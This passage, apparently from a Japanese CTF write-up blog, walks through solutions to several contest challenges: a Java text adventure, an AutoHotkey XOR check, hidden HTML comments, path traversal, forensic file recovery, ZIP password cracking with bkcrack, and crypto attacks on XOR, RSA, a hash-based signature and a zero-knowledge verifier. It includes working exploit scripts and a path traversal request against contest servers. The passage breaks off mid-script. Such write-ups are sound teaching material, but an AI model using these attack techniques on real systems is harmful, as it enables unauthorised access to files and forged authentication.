                System.out.println("The sword slices right through the webs! You're able to cut away the door and get through.");
                this.websCut = true;
                this.keyRoom.enter();
                continue;
              } 
              System.out.println("With what, your hands?");
              continue;
            } 
            System.out.println("You already did that.");
            continue;
          case 1797592917:
            if (!str1.equals("go to the hall"))
              break; 
            System.out.println("You exit back into the hall you first entered in.");
            this.previousRoom.enter();
            continue;
          case 2112469531:
            if (!str1.equals("cut the door"))
              break; 
            if (!this.websCut) {
              if (Player.instance.hasItem("sword")) {
                System.out.println("The sword slices right through the webs! You're able to cut away the door and get through.");
                this.websCut = true;
                this.keyRoom.enter();
                continue;
              } 
              System.out.println("With what, your hands?");
              continue;
            } 
            System.out.println("You already did that.");
            continue;
          case 2113025548:
            if (!str1.equals("cut the webs"))
              break; 
            if (!this.websCut) {
              if (Player.instance.hasItem("sword")) {
                System.out.println("The sword slices right through the webs! You're able to cut away the door and get through.");
                this.websCut = true;
                this.keyRoom.enter();
                continue;
              } 
              System.out.println("With what, your hands?");
              continue;
            } 
            System.out.println("You already did that.");
            continue;
        } 
        System.out.println("Can't do that.");
      } 
    } 
  }
}

public class StairwayBottom extends Room {
  private Room sealedDoor = new SealedDoor(this);
  
  private Room river = new River(this);
  
  public StairwayBottom(Room prevRoom) {
    this.previousRoom = prevRoom;
  }
  
  public void enter() {
    System.out.println("You are at the base of the stairway. Two paths lay before you, one left and one right.\nYou hear the sound of rushing water coming from the right passageway.");
    while (true) {
      String input = getInput();
      String str1;
      switch ((str1 = input.toLowerCase()).hashCode()) {
        case -1654690961:
          if (!str1.equals("up stairs"))
            break; 
          System.out.println("You go up the steps...");
          this.previousRoom.enter();
          continue;
        case -1408684854:
          if (!str1.equals("ascend"))
            break; 
          System.out.println("You go up the steps...");
          this.previousRoom.enter();
          continue;
        case -125856540:
          if (!str1.equals("go right"))
            break; 
          System.out.println("You head into the right passageway...");
          this.river.enter();
          continue;
        case 3317767:
          if (!str1.equals("left"))
            break; 
          System.out.println("You head into the left passageway...");
          this.sealedDoor.enter();
          continue;
        case 98463955:
          if (!str1.equals("go up"))
            break; 
          System.out.println("You go up the steps...");
          this.previousRoom.enter();
          continue;
        case 102846135:
          if (!str1.equals("leave"))
            break; 
          System.out.println("You go up the steps...");
          this.previousRoom.enter();
          continue;
        case 108511772:
          if (!str1.equals("right"))
            break; 
          System.out.println("You head into the right passageway...");
          this.river.enter();
          continue;
        case 134002975:
          if (!str1.equals("go back"))
            break; 
          System.out.println("You go up the steps...");
          this.previousRoom.enter();
          continue;
        case 134304831:
          if (!str1.equals("go left"))
            break; 
          System.out.println("You head into the left passageway...");
          this.sealedDoor.enter();
          continue;
      } 
      System.out.println("Can't do that.");
    } 
  }
}

public class StairwayTop extends Room {
  private Room stairwayBottom = new StairwayBottom(this);
  
  public StairwayTop(Room prevRoom) {
    this.previousRoom = prevRoom;
  }
  
  public void enter() {
    if (!Player.instance.hasItem("torch")) {
      darkRoom();
    } else {
      System.out.println("You find yourself at the top of a long stair descending downward. You cannot make out the bottom.");
      System.out.println("Behind you lies the great hall you first entered through.");
      while (true) {
        String input = getInput();
        String str1;
        switch ((str1 = input.toLowerCase()).hashCode()) {
          case 102846135:
            if (!str1.equals("leave"))
              break; 
            System.out.println("You exit back into the hall you came through.");
            this.previousRoom.enter();
            continue;
          case 134002975:
            if (!str1.equals("go back"))
              break; 
            System.out.println("You exit back into the hall you came through.");
            this.previousRoom.enter();
            continue;
          case 134076634:
            if (!str1.equals("go down"))
              break; 
            System.out.println("You muster all of your courage and wander down into the depths...");
            this.stairwayBottom.enter();
            continue;
          case 134182001:
            if (!str1.equals("go hall"))
              break; 
            System.out.println("You exit back into the hall you came through.");
            this.previousRoom.enter();
            continue;
          case 1556853930:
            if (!str1.equals("descend"))
              break; 
            System.out.println("You muster all of your courage and wander down into the depths...");
            this.stairwayBottom.enter();
            continue;
          case 1797592917:
            if (!str1.equals("go to the hall"))
              break; 
            System.out.println("You exit back into the hall you came through.");
            this.previousRoom.enter();
            continue;
        } 
        System.out.println("Can't do that.");
      } 
    } 
  }
}

public class MagicOrb {
  public void printFlag() throws IOException {
    BufferedReader br = new BufferedReader(new FileReader("/flag"));
    String line;
    while ((line = br.readLine()) != null)
      System.out.println(line); 
    br.close();
  }
}

最終的にMagicOrbクラスのprintFlagメソッドをコールする必要がある。
ここに行くためには、DeadEndクラスのenterメソッドをコールする必要がある。
さらに、遡っていくと、以下のように辿ることができる。

  • SealedDoorクラスのenterメソッドをコールする必要がある。このとき"key"を持っている必要がある。
  • StairwayBottomクラスのenterメソッドをコールする必要がある。
  • StairwayTopクラスのenterメソッドをコールする必要がある。このとき"torch"を持っている必要がある。
  • EntryHallクラスのenterメソッドをコールする必要がある。
  • CaveEnteranceクラスのenterメソッドをコールする必要がある。

"key"を拾うために必要な条件を遡っていくと、以下のように辿ることができる。

  • KeyRoomクラスのenterメソッドをコールする必要がある。
  • SpiderHallwayクラスのenterメソッドをコールする必要がある。このとき"sword"を持っている必要がある。
  • EntryHallクラスのenterメソッドをコールする必要がある。
  • CaveEnteranceクラスのenterメソッドをコールする必要がある。

"sword"を拾うために必要な条件を遡っていくと、以下のように辿ることができる。

  • AcrossRiverクラスのenterメソッドをコールする必要がある。このとき"rope"を持っている必要がある。
  • Riverクラスのenterメソッドをコールする必要がある。
  • StairwayBottomクラスのenterメソッドをコールする必要がある。
  • StairwayTopクラスのenterメソッドをコールする必要がある。このとき"torch"を持っている必要がある。
  • EntryHallクラスのenterメソッドをコールする必要がある。
  • CaveEnteranceクラスのenterメソッドをコールする必要がある。

"rope"を拾うために必要な条件を遡っていくと、以下のように辿ることができる。

  • CrystalRoomクラスのenterメソッドをコールする必要がある。
  • Bridgeクラスのenterメソッドをコールする必要がある。
  • EntryHallクラスのenterメソッドをコールする必要がある。
  • CaveEnteranceクラスのenterメソッドをコールする必要がある。

"torch"を拾うために必要な条件を遡っていくと、以下のように辿ることができる。

  • EntryHallクラスのenterメソッドをコールする必要がある。
  • CaveEnteranceクラスのenterメソッドをコールする必要がある。

以上を踏まえると、以下の順で進めばよい。

  1. CaveEnteranceクラスで、"enter"を入力
  2. EntryHallクラスで、"grab torch"を入力
  3. EntryHallクラスで、"go right"を入力
  4. Bridgeクラスで、"cross the bridge"を入力
  5. CrystalRoomクラスで、"pick up rope"を入力
  6. CrystalRoomクラスで、"go back"を入力
  7. Bridgeクラスで、"go back"を入力
  8. EntryHallクラスで、"go center"を入力
  9. StairwayTopクラスで、"go down"を入力
  10. StairwayBottomクラスで、"go right"を入力
  11. Riverクラスで、"use rope"を入力
  12. AcrossRiverクラスで、"grab sword"を入力
  13. AcrossRiverクラスで、"go back"を入力
  14. Riverクラスで、"go back"を入力
  15. StairwayBottomクラスで、"go back"を入力
  16. StairwayTopクラスで、"go back"を入力
  17. EntryHallクラスで、"go left"を入力
  18. SpiderHallwayクラスで、"cut"を入力
  19. KeyRoomクラスで、"pick up key"を入力
  20. KeyRoomクラスで、"go back"を入力
  21. SpiderHallwayクラスで、"go back"を入力
  22. EntryHallクラスで、"go center"を入力
  23. StairwayTopクラスで、"go down"を入力
  24. StairwayBottomクラスで、"left"を入力
  25. SealedDoorクラスで、"unlock the door"を入力
  26. DeadEndクラスで、以下の順で入力
  • "reach through the crack in the rocks"
  • "the crack in the rocks concealing the magical orb with the flag"

実行結果は以下の通り。

$ nc challs.pwnoh.io 13376
You've been transported to a faraway magical land! Can you find the flag?
---
You find yourself standing at the opening of a vast, mysterious cave. The entrance looms before you, awaiting.

> enter

You feel the air grow cool as you pass through the threshold into the depths...
You find yourself in a central hall. It is faintly lit by a torch on the leftmost wall.
Through the gloom you barely make out three arches to ongoing passages: one left, one middle, and one right.

> grab torch

You picked up the torch.

> go right

You pass through the right corridor...
You find yourself standing at the edge of an unfathomable chasm! Far off, you can hear fast running water below.
There lies a stone bridge spanning the gap, but it's little more than a few feet wide. It arches away from you, and disappears into the darkness.
The main hall lies behind you.

> cross the bridge

You slowly edge out on to the bridge... holding your breath...
...and eventually make it to the other side. Uh, good job.
On the other side of the bridge, you come upon a cavern covered in glistening pink crystals!
Some are so large you can see your reflection in them as they glisten from your torchlight.
Some of the crystals look mined away, but you don't see any sort of pickaxe. All that remains of the mining operation is a bundle of rope.

> pick up rope

You picked up the rope.

> go back

You brave the bridge once again...
...and again, safely make it across. Surefooted as they come.
You find yourself standing at the edge of an unfathomable chasm! Far off, you can hear fast running water below.
There lies a stone bridge spanning the gap, but it's little more than a few feet wide. It arches away from you, and disappears into the darkness.
The main hall lies behind you.

> go back

You return to the hall you entered through.
You find yourself in a central hall.
Through the gloom you barely make out three arches to ongoing passages: one left, one middle, and one right.

> go center

You pass through the middle corridor...
You find yourself at the top of a long stair descending downward. You cannot make out the bottom.
Behind you lies the great hall you first entered through.

> go down

You muster all of your courage and wander down into the depths...
You are at the base of the stairway. Two paths lay before you, one left and one right.
You hear the sound of rushing water coming from the right passageway.

> go right

You head into the right passageway...
You find yourself alongside a great rushing underground river!
The remains of a broken bridge lie torn and rotted. You'll have to find some other way to cross.
There's a great root of some tree sticking out from the ceiling, but it's too high for you to reach.
The base of the steps lie behind you.

> use rope

You throw with all your might, and the rope catches on the root! You swing across safely.
It looks like there was once a battle here, long ago. You see the remains of a knight, still clothed in armor. A slightly-rusted sword lies across his lap.

> grab sword

Seems a shame to leave a fine sword to rust like that... It would be better off with you.
You picked up the sword.

> go back

You throw the rope again, and swing back to the other side.
You find yourself alongside a great rushing underground river!
The remains of a broken bridge lie torn and rotted. You'll have to find some other way to cross.
There's a great root of some tree sticking out from the ceiling, but it's too high for you to reach.
The base of the steps lie behind you.

> go back

You return to the base of the steps.
You are at the base of the stairway. Two paths lay before you, one left and one right.
You hear the sound of rushing water coming from the right passageway.

> go back

You go up the steps...
You find yourself at the top of a long stair descending downward. You cannot make out the bottom.
Behind you lies the great hall you first entered through.

> go back

You exit back into the hall you came through.
You find yourself in a central hall.
Through the gloom you barely make out three arches to ongoing passages: one left, one middle, and one right.

> go left

You pass through the left corridor...
You come upon a long hallway, the walls covered by thick webs. Thousands of little legs seem to scurry away from your torch's light.
You notice a door at the end of the hall, completely covered in webs. You'll need someting sharp to get cut through it.

> cut

The sword slices right through the webs! You're able to cut away the door and get through.
You come in to a small room with a glowing pedestal in the center.
The light is dazzling, and upon the pedestal lies an ornate key. Neat!

> pick up key

You slowly reach out your hand, wary of any traps you might spring, or eyes that might be watching...
...but there aren't any. Easy, right?
You picked up the key.

> go back

You exit back into the hall of spiders.
You return to the long hall, still covered in webs. The door is free, now, though. You feel like hundreds of tiny eyes are watching your every move.
The main hall lies behind you.

> go back

You exit back into the hall you first entered in.
You find yourself in a central hall.
Through the gloom you barely make out three arches to ongoing passages: one left, one middle, and one right.

> go center

You pass through the middle corridor...
You find yourself at the top of a long stair descending downward. You cannot make out the bottom.
Behind you lies the great hall you first entered through.

> go down

You muster all of your courage and wander down into the depths...
You are at the base of the stairway. Two paths lay before you, one left and one right.
You hear the sound of rushing water coming from the right passageway.

> left

You head into the left passageway...
You enter a small room, with stone close all around you. Before you lies a door sealed with a large lock.
Behind you lie the base of the steps.

> unlock the door

You fit the key into the lock, and slowly start to turn it...
It works! The lock falls away and you pass through the door.
It appears to be a dead end.

> reach through the crack in the rocks

What? What crack in the rocks?

> the crack in the rocks concealing the magical orb with the flag

There's a crack in the --? Well, it seems you know more about this world than I do. Happy hacking!
bctf{P33r_1nT0_tH3_j4r_2_f1nd_Th3_S3cR3Ts_d1463580a690f294}
bctf{P33r_1nT0_tH3_j4r_2_f1nd_Th3_S3cR3Ts_d1463580a690f294}

flagwatch (rev)

AHKを使っているようなので、デコンパイラを調べ、以下のツールが使えそうとわかった。

https://github.com/A-gent/AutoHotkey-Decompiler/blob/master/Exe%20To%20AHK%20Decompiler%20v2.19

ResourceHacker.exeを起動し、flagwatch.exeを開く。左のツリーメニューのRCDataに関係するコードが見つかった。

; <COMPILER: v1.1.37.02>
global flaginput := ""
logInput(key){
global flaginput
flaginput := flaginput . key
flaginput := SubStr(flaginput,-28)
checkInput()
}
checkInput(){
global flaginput
if (StrLen(flaginput) != 29)
return
if (SubStr(flaginput, 1, 5) != "bctf{" or SubStr(flaginput,0) != "}")
return
encrypted_flag := [62,63,40,58,39,40,111,63,52,50,53,63,104,48,48,37,3,61,3,55,57,37,48,108,59,59,111,46,33]
Loop 29
{
if ((encrypted_flag[A_Index] ^ 92) != Asc(SubStr(flaginput,A_Index,1))) {
MsgBox, You typed the wrong flag.
return
}
}
MsgBox, You typed the right flag!
}
        :
        :

フラグの各文字のASCIIコードについて、92とXORしたら、以下の数値になるということのようだ。

[62,63,40,58,39,40,111,63,52,50,53,63,104,48,48,37,3,61,3,55,57,37,48,108,59,59,111,46,33]

XORでフラグを取得する。

>>> s = [62,63,40,58,39,40,111,63,52,50,53,63,104,48,48,37,3,61,3,55,57,37,48,108,59,59,111,46,33]
>>> ''.join([chr(c ^ 92) for c in s])
'bctf{t3chnic4lly_a_keyl0gg3r}'
bctf{t3chnic4lly_a_keyl0gg3r}

fu (web)

右クリックやF12キーが効かないので、curlコマンドでアクセスする。

$ curl https://fu.challs.pwnoh.io/
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>KUNG FU MASTER CLASS OF AWESOMENESS</title>
        :
        :
  </head>
  <body>
    <h1>Kung Fu Master Class of Awesomeness!</h1>

        :
        :

    <div class="contact">
      <p>
        Sign up TODAY and get a FREE headband! &#129506;
        <!-- Sign up within the next hour and get the flag free too! bctf{1n5p3c7_3l3m3n7_w0rk4r0und_f0und_88b73569618bcb6a} -->
      </p>
      <p>Call us at: <strong>1-800-KUNG-FU-YEAH</strong></p>
      <p>
        Or email:
        <a href="mailto:master@kungfucool.com">master@kungfucool.com</a>
      </p>
    </div>

        :
        :
  </body>
</html>

コメントにフラグが含まれていた。

bctf{1n5p3c7_3l3m3n7_w0rk4r0und_f0und_88b73569618bcb6a}

SSFS (web)

/download/パストラバーサル脆弱性がある。

$ curl --path-as-is https://ssfs.challs.pwnoh.io/download/../../flag.txt
bctf{4lw4y5_35c4p3_ur_p4th5}
bctf{4lw4y5_35c4p3_ur_p4th5}

unknown (forensics)

$ file unknown.zip 
unknown.zip: gzip compressed data, from Unix, original size modulo 2^32 10240
$ mv unknown.zip unknown.gz  
$ gzip -d unknown.gz                                                
gzip: unknown: Value too large for defined data type
$ file unknown    
unknown: POSIX tar archive (GNU)
$ mv unknown unknown.tar       
$ tar xvf unknown.tar          
unknown/
unknown/flag.txt
$ cat unknown/flag.txt          
bctf{f1l3_3x73n510n5_4r3_n07_r34l}
bctf{f1l3_3x73n510n5_4r3_n07_r34l}

couch potato (forensics)

sstvでデコードしてみる

$ sstv -d dump.wav -o flag.png 
[sstv] Searching for calibration header... Found!    
[sstv] Detected SSTV mode Scottie 1
[sstv] Decoding image...                                                                                [####################################################################################################] 100%
[sstv] Drawing image data...
[sstv] ...Done!

出力した画像にフラグが書いてあった。

bctf{1_11k3_5p4m_w17h_my_h4m}

wreck (forensics)

$ foremost dump
Processing: dump
|foundat=
*|

jpgが1個抽出できて、その画像にフラグが書いてあった。

bctf{D4MN_7h47_c0r3_dvmp_907_4_GY477}

reduce_recycle (forensics)

zipファイルと7zファイルが添付されており、両方とも同じパスワードがかかっているとのことで、そのパスワードが12文字であることまでわかっている。

$ zipinfo dogs_wearing_tools.zip 
Archive:  dogs_wearing_tools.zip
Zip file size: 4954033 bytes, number of entries: 4
-rw-a--     6.3 fat  1817550 Bx stor 24-Sep-01 19:38 1.png
-rw-a--     6.3 fat  1830967 Bx stor 24-Sep-01 19:38 2.png
-rw-a--     6.3 fat    94416 Bx stor 24-Sep-01 19:38 3.png
-rw-a--     6.3 fat  1210542 Bx stor 24-Sep-01 19:36 4.png
4 files, 4953475 bytes uncompressed, 4953475 bytes compressed:  0.0%

pngファイルが含まれており、圧縮率が0%なので、bkcrackによる既知平文攻撃が使えそう。

$ echo 89504e470d0a1a0a0000000d49484452 | xxd -r -p > plain_head
$ ./bkcrack -C dogs_wearing_tools.zip -c 1.png -p plain_head
bkcrack 1.5.0 - 2022-07-07
[21:20:13] Z reduction using 9 bytes of known plaintext
100.0 % (9 / 9)
[21:20:13] Attack on 742828 Z values at index 6
Keys: adf73413 6f6130e7 0cfbc537
16.0 % (118857 / 742828) 
[21:22:47] Keys
adf73413 6f6130e7 0cfbc537

$ ./bkcrack -k adf73413 6f6130e7 0cfbc537 -r 12 ?p    
bkcrack 1.5.0 - 2022-07-07
[21:25:34] Recovering password
length 0-6...
length 7...
length 8...
length 9...
length 10...
length 11...        
length 12...         
19.8 % (1789 / 9025) 
[21:26:20] Password
as bytes: 32 6e 33 41 64 33 26 5a 78 44 76 56 
as text: 2n3Ad3&ZxDvV

パスワードを解読できたので、これでimportant_flags.7zを解凍する。

$ 7z x important_flags.7z

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 186 bytes (1 KiB)

Extracting archive: important_flags.7z
--
Path = important_flags.7z
Type = 7z
Physical Size = 186
Headers Size = 138
Method = Copy 7zAES
Solid = -
Blocks = 1

    
Enter password (will not be echoed):
Everything is Ok

Size:       33
Compressed: 186
$ cat flag.txt
bctf{wH1ch_d0g_w4s_youR_FaVOr1t3}
bctf{wH1ch_d0g_w4s_youR_FaVOr1t3}

xnor (crypto)

XORをしてビット反転して暗号化している。

ct = pt ^ key ^ 1

key ^ 1をkeyと考えれば、以下が成り立つ。

key = pt ^ ct 
flag = flag_enc ^ key

つまりある平文と暗号文がわかっているので、フラグの暗号文も合わせてXORすれば復号できる。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

pt = b'Blue is greener than purple for sure!'
ct = bytes.fromhex('fe9d88f3d675d0c90d95468212b79e929efffcf281d04f0cfa6d07704118943da2af36b9f8')
flag_enc = bytes.fromhex('de9289f08d6bcb90359f4dd70e8d95829fc8ffaf90ce5d21f96e3d635f148a68e4eb32efa4')

flag = strxor(flag_enc, strxor(pt, ct)).decode()
print(flag)
bctf{why_xn0r_y0u_b31ng_so_3xclu51v3}

rsa (crypto)

RSA暗号。nをfactordbで素因数分解する。

n = 213055785127022839309619937270901673863 * 310165339100312907369816767764432814137

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

e = 65537
n = 66082519841206442253261420880518905643648844231755824847819839195516869801231
c = 19146395818313260878394498164948015155839880044374872805448779372117637653026

p = 213055785127022839309619937270901673863
q = 310165339100312907369816767764432814137

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode()
print(flag)
bctf{f4c70r1z3_b3773r_4d3b35e4}

hashbrown (crypto)

サーバの処理概要は以下の通り。

・secret: ランダム16バイト文字列
・my_message: 既知の複数行の文字列
・my_messageを表示
・my_messageの16進数表記を表示
・sign(my_message, secret)を16進数表記で表示
 ・hash(secret + my_message)を返却
  ・data: secret + my_messageを16の倍数の長さになるよう"_"でパディング
  ・state: 既知の16バイト文字列
  ・dataの16バイトごとのblockに対して以下を実行
   ・state = aes(block, state)
    ・stateをkeyにしてblockをAES暗号化
  ・stateを返却
・your_message: 16進数表記で入力
・your_signiature: 16進数表記で入力
・your_messageを表示
・your_signiatureの16進数表記を表示
・your_messageに"french fry"が含まれていない場合、NG
・your_signiature が sign(your_message, secret)と一致しない場合、NG
・your_messageに"french fry"が含まれ、your_signiature が sign(your_message, secret)と一致する場合、フラグを表示

my_messageは986バイト、パディングすると992バイト。パディングした文字列の後に"french fry"を結合することを考える。
この場合my_messageのsigniatureを鍵にして、pad("french fry")をAES暗号化すれば、signatureは計算できる。

#!/usr/bin/env python3
import socket
from Crypto.Cipher import AES

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def aes(block: bytes, key: bytes) -> bytes:
    assert len(block) == len(key) == 16
    return AES.new(key, AES.MODE_ECB).encrypt(block)

def pad(data):
    padding_length = 16 - len(data) % 16
    return data + b"_" * padding_length

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.pwnoh.io', 13419))

my_message = "\n".join(
    [
        "Grate the raw potatoes with a cheese grater, place them into a bowl and cover completely with water. Let sit for 10 minutes.",
        "Drain the grated potatoes well; if this is not done thoroughly the potatoes will steam instead of fry.",
        "Mix in chopped onions by hand.",
        "Mix the egg OR flour into the hash brown mixture evenly. This will allow the hash browns to stay together when frying.",
        "Place a large frying pan on medium-high heat and add enough oil to provide a thin coating over the entire bottom of the pan.",
        "When the oil has come up to temperature apply a large handful of potatoes to the pan and reshape into a patty that is about 1/4-1/2 inch (6-12 mm) thick. The thinner the patty, the crispier the hash browns will be throughout.",
        "Flip when they are crisp and brown on the cooking side. They should also stick together nicely before they are flipped. This should take about 5-8 minutes.",
        "The hash browns are done when the new side is brown and crispy. This should take another 3-5 minutes.",
    ]
).encode()

for _ in range(6):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
my_signature = bytes.fromhex(data)

phrase = b"french fry"
your_message = (pad(my_message) + phrase)
your_signiature = aes(pad(phrase), my_signature)

data = recvuntil(s, b'> ')
print(data + your_message.hex())
s.sendall(your_message.hex().encode() + b'\n')
data = recvuntil(s, b'> ')
print(data + your_signiature.hex())
s.sendall(your_signiature.hex().encode() + b'\n')

for _ in range(8):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Recipe for hashbrowns:
b'Grate the raw potatoes with a cheese grater, place them into a bowl and cover completely with water. Let sit for 10 minutes.\nDrain the grated potatoes well; if this is not done thoroughly the potatoes will steam instead of fry.\nMix in chopped onions by hand.\nMix the egg OR flour into the hash brown mixture evenly. This will allow the hash browns to stay together when frying.\nPlace a large frying pan on medium-high heat and add enough oil to provide a thin coating over the entire bottom of the pan.\nWhen the oil has come up to temperature apply a large handful of potatoes to the pan and reshape into a patty that is about 1/4-1/2 inch (6-12 mm) thick. The thinner the patty, the crispier the hash browns will be throughout.\nFlip when they are crisp and brown on the cooking side. They should also stick together nicely before they are flipped. This should take about 5-8 minutes.\nThe hash browns are done when the new side is brown and crispy. This should take another 3-5 minutes.'
Hashbrowns recipe as hex:
4772617465207468652072617720706f7461746f65732077697468206120636865657365206772617465722c20706c616365207468656d20696e746f206120626f776c20616e6420636f76657220636f6d706c6574656c7920776974682077617465722e204c65742073697420666f72203130206d696e757465732e0a447261696e207468652067726174656420706f7461746f65732077656c6c3b2069662074686973206973206e6f7420646f6e652074686f726f7567686c792074686520706f7461746f65732077696c6c20737465616d20696e7374656164206f66206672792e0a4d697820696e2063686f70706564206f6e696f6e732062792068616e642e0a4d69782074686520656767204f5220666c6f757220696e746f2074686520686173682062726f776e206d697874757265206576656e6c792e20546869732077696c6c20616c6c6f772074686520686173682062726f776e7320746f207374617920746f676574686572207768656e20667279696e672e0a506c6163652061206c6172676520667279696e672070616e206f6e206d656469756d2d68696768206865617420616e642061646420656e6f756768206f696c20746f2070726f766964652061207468696e20636f6174696e67206f7665722074686520656e7469726520626f74746f6d206f66207468652070616e2e0a5768656e20746865206f696c2068617320636f6d6520757020746f2074656d7065726174757265206170706c792061206c617267652068616e6466756c206f6620706f7461746f657320746f207468652070616e20616e64207265736861706520696e746f206120706174747920746861742069732061626f757420312f342d312f3220696e63682028362d3132206d6d2920746869636b2e20546865207468696e6e6572207468652070617474792c207468652063726973706965722074686520686173682062726f776e732077696c6c206265207468726f7567686f75742e0a466c6970207768656e20746865792061726520637269737020616e642062726f776e206f6e2074686520636f6f6b696e6720736964652e20546865792073686f756c6420616c736f20737469636b20746f676574686572206e6963656c79206265666f726520746865792061726520666c69707065642e20546869732073686f756c642074616b652061626f757420352d38206d696e757465732e0a54686520686173682062726f776e732061726520646f6e65207768656e20746865206e657720736964652069732062726f776e20616e64206372697370792e20546869732073686f756c642074616b6520616e6f7468657220332d35206d696e757465732e
Signature:
53fa5b7f20d03b6d5354a0d278a3db40

Give me recipe for french fry? (as hex)
> 4772617465207468652072617720706f7461746f65732077697468206120636865657365206772617465722c20706c616365207468656d20696e746f206120626f776c20616e6420636f76657220636f6d706c6574656c7920776974682077617465722e204c65742073697420666f72203130206d696e757465732e0a447261696e207468652067726174656420706f7461746f65732077656c6c3b2069662074686973206973206e6f7420646f6e652074686f726f7567686c792074686520706f7461746f65732077696c6c20737465616d20696e7374656164206f66206672792e0a4d697820696e2063686f70706564206f6e696f6e732062792068616e642e0a4d69782074686520656767204f5220666c6f757220696e746f2074686520686173682062726f776e206d697874757265206576656e6c792e20546869732077696c6c20616c6c6f772074686520686173682062726f776e7320746f207374617920746f676574686572207768656e20667279696e672e0a506c6163652061206c6172676520667279696e672070616e206f6e206d656469756d2d68696768206865617420616e642061646420656e6f756768206f696c20746f2070726f766964652061207468696e20636f6174696e67206f7665722074686520656e7469726520626f74746f6d206f66207468652070616e2e0a5768656e20746865206f696c2068617320636f6d6520757020746f2074656d7065726174757265206170706c792061206c617267652068616e6466756c206f6620706f7461746f657320746f207468652070616e20616e64207265736861706520696e746f206120706174747920746861742069732061626f757420312f342d312f3220696e63682028362d3132206d6d2920746869636b2e20546865207468696e6e6572207468652070617474792c207468652063726973706965722074686520686173682062726f776e732077696c6c206265207468726f7567686f75742e0a466c6970207768656e20746865792061726520637269737020616e642062726f776e206f6e2074686520636f6f6b696e6720736964652e20546865792073686f756c6420616c736f20737469636b20746f676574686572206e6963656c79206265666f726520746865792061726520666c69707065642e20546869732073686f756c642074616b652061626f757420352d38206d696e757465732e0a54686520686173682062726f776e732061726520646f6e65207768656e20746865206e657720736964652069732062726f776e20616e64206372697370792e20546869732073686f756c642074616b6520616e6f7468657220332d35206d696e757465732e5f5f5f5f5f5f6672656e636820667279
Give me your signiature?
> f2735818ef9d93a7bce3e184cf25f3d7

Your recipe:
b'Grate the raw potatoes with a cheese grater, place them into a bowl and cover completely with water. Let sit for 10 minutes.\nDrain the grated potatoes well; if this is not done thoroughly the potatoes will steam instead of fry.\nMix in chopped onions by hand.\nMix the egg OR flour into the hash brown mixture evenly. This will allow the hash browns to stay together when frying.\nPlace a large frying pan on medium-high heat and add enough oil to provide a thin coating over the entire bottom of the pan.\nWhen the oil has come up to temperature apply a large handful of potatoes to the pan and reshape into a patty that is about 1/4-1/2 inch (6-12 mm) thick. The thinner the patty, the crispier the hash browns will be throughout.\nFlip when they are crisp and brown on the cooking side. They should also stick together nicely before they are flipped. This should take about 5-8 minutes.\nThe hash browns are done when the new side is brown and crispy. This should take another 3-5 minutes.______french fry'
Your signiature:
f2735818ef9d93a7bce3e184cf25f3d7

Thank you very much. Here is your flag:
bctf{e7ym0l0gy_f4c7_7h3_w0rd_hash_c0m35_fr0m_7h3_fr3nch_hacher_wh1ch_m34n5_t0_h4ck_0r_ch0p}
bctf{e7ym0l0gy_f4c7_7h3_w0rd_hash_c0m35_fr0m_7h3_fr3nch_hacher_wh1ch_m34n5_t0_h4ck_0r_ch0p}

zkwarmup (crypto)

サーバの処理概要は以下の通り。

・n: 既知の整数
・nを表示
・現在時刻のUNIXTIMEの整数値をseedとして、乱数設定
・x: 1以上n未満のランダム整数
・y = pow(x, 2, n)
・yを表示
・verifier = Verifier(y, n)
 ・verifier.y = y
 ・verifier.n = n
 ・verifier.previous_ss: 空集合
 ・verifier.previous_zs: 空集合
・n_rounds = 128
・0以上n_rounds未満のiに対して以下を実行
 ・s: 数値入力
 ・b = verifier.flip_coin()
  ・2未満のランダム整数を返却
 ・bを表示
 ・z: 数値入力
 ・res = verifier.verify(s, z, b)
  ・sがverifier.previous_ssにあるか、zがverifier.previous_zsにあるとFalseを返却
  ・sをverifier.previous_ssに追加
  ・zをverifier.previous_zsに追加
  ・n = verifier.n
  ・y = verifier.y
  ・sが0の場合、Falseを返却
  ・s, nのgcdが1以外の場合、Falseを返却
  ・pow(z, 2, n) == (s * pow(y, 1 - b)) % nを返却
 ・resがTrueの場合、成功メッセージを表示
 ・resがFalseの場合、失敗メッセージを表示し、終了
・フラグを表示

x, y, bはわかっている。z, sは指定できる。

bが0の場合は以下のようになることが必要。

pow(z, 2, n) == (s * y) % n

yはpow(x, 2, n)なので、sもpow(a, 2, n)(a:任意)を指定すると、zにx * a % nを指定すれば成り立つ。

bが1の場合は以下のようになることが必要。

pow(z, 2, n) == s % n

sにpow(a, 2, n)(a:任意)を指定すると、zにaを指定すれば成り立つ。

以上を使って、128回回答すればフラグが得られる。

#!/usr/bin/env python3
import socket
import random
import time

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
skt.connect(('challs.pwnoh.io', 13421))

for _ in range(2):
    data = recvuntil(skt, b'\n').rstrip()
    print(data)
n = int(data.split(' ')[-1])

data = recvuntil(skt, b'\n').rstrip()
print(data)
y = int(data.split(' ')[-1])

cur = int(time.time())
found = False
for i in range(-3, 3):
    random.seed(cur + i)
    x = random.randrange(1, n)
    if y == pow(x, 2, n):
        found = True
        break
assert found

data = recvuntil(skt, b'\n').rstrip()
print(data)

for i in range(128):
    a = i + 1
    s = pow(a, 2, n)
    data = recvuntil(skt, b': ')
    print(data + str(s))
    skt.sendall(str(s).encode() + b'\n')
    data = recvuntil(skt, b'\n').rstrip()
    print(data)
    b = int(data.split(' ')[-1])

    if b == 0:
        z = (x * a) % n
    else:
        z = a

    data = recvuntil(skt, b': ')
    print(data + str(z))
    skt.sendall(str(z).encode() + b'\n')
    data = recvuntil(skt, b'\n').rstrip()
    print(data)

for _ in range(2):
